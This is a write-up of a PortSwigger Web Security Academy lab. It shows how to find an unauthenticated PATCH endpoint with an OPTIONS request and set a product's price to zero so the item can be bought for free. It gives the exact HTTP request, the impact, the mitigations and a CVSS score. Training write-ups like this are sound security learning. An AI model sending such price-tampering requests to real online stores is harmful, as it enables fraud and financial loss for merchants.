

Finding and exploiting an unused API endpoint

Topic: API Testing | Difficulty: Practitioner

Description

The product API exposes a PATCH endpoint not used by the web frontend but fully functional and unauthenticated. By sending a PATCH request with a modified 'price' field an attacker can set any product's price to an arbitrary value including zero and then purchase the item for free.

Steps to Exploit

1. Browse the application in Burp and observe product API calls.
2. Send GET /api/products/1 to Burp Repeater.
3. Change the method to OPTIONS to enumerate allowed HTTP methods.
4. Observe PATCH listed in the Allow response header.
5. Send: PATCH /api/products/1 with Content-Type: application/json and body {"price": 0}
6. Add the product to cart and complete checkout at zero cost.

Proof of Concept

OPTIONS response:

```
Allow: GET, PATCH
```

PATCH request:

```
PATCH /api/products/1 HTTP/1.1
Content-Type: application/json

{"price": 0}
```

Result:

```
Product price set to $0.00; purchased for free.
```

Impact

- Arbitrary price modification for any product in the catalog.
- Financial loss through zero-cost purchases.
- Exploitation of undiscovered API surface not covered by business logic validation.

Mitigation / Remediation

1. Require authentication and authorization for all write operations on API endpoints.
2. Validate that price modifications are only permitted by admin roles.
3. Disable unused HTTP methods (PATCH, DELETE) on endpoints that do not need them.
4. Log and alert on unexpected HTTP method usage in API request logs.

CVSS Score

CVSS v3.1: 7.5 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVSS Justification

- Attack Vector: Network.
- Attack Complexity: Low - HTTP method change and JSON payload.
- Privileges Required: None.
- User Interaction: None.
- Integrity: High - product pricing data modified.
- Confidentiality / Availability: None.

API Unused PATCH Endpoint

Proof of Concept — Exploitation Evidence

Payload / exploit steps are documented in the **Proof of Concept** section of this writeup (above). Screenshot evidence of successful exploitation is shown below.

Lab Solved Confirmation

The screenshot displays the PortSwigger Web Security Academy interface. At the top, the browser address bar shows the URL `0a9e00d104bdada98188e44e00de001c.web-security-academy.net`. The page title is "Finding and exploiting an unused API endpoint". The "WebSecurity Academy" logo is on the left, and a "LAB Solved" badge is on the right. Below the title, there is a "Back to lab description" link. A large orange banner reads "Congratulations, you solved the lab!". To the right of the banner are links for "Share your skills!" (with Twitter and LinkedIn icons) and "Continue learning >>". Below the banner, there are links for "Home", "My account", and a shopping cart icon with "0" items. The main content area features a "WE LIKE TO SHOP" section with a grid of product cards. Each card includes an image, a title, a star rating, a price, and a "View details" button. The products shown are: "Lightweight 'I33t' Leather Jacket" (\$1337.00), "High-End Gift Wrapping" (\$87.97), "The Trapster" (\$12.53), and "More Than Just Birdsong" (\$70.42). Below this grid, there are four more product images partially visible.

PortSwigger lab status changed to "Solved" after exploitation.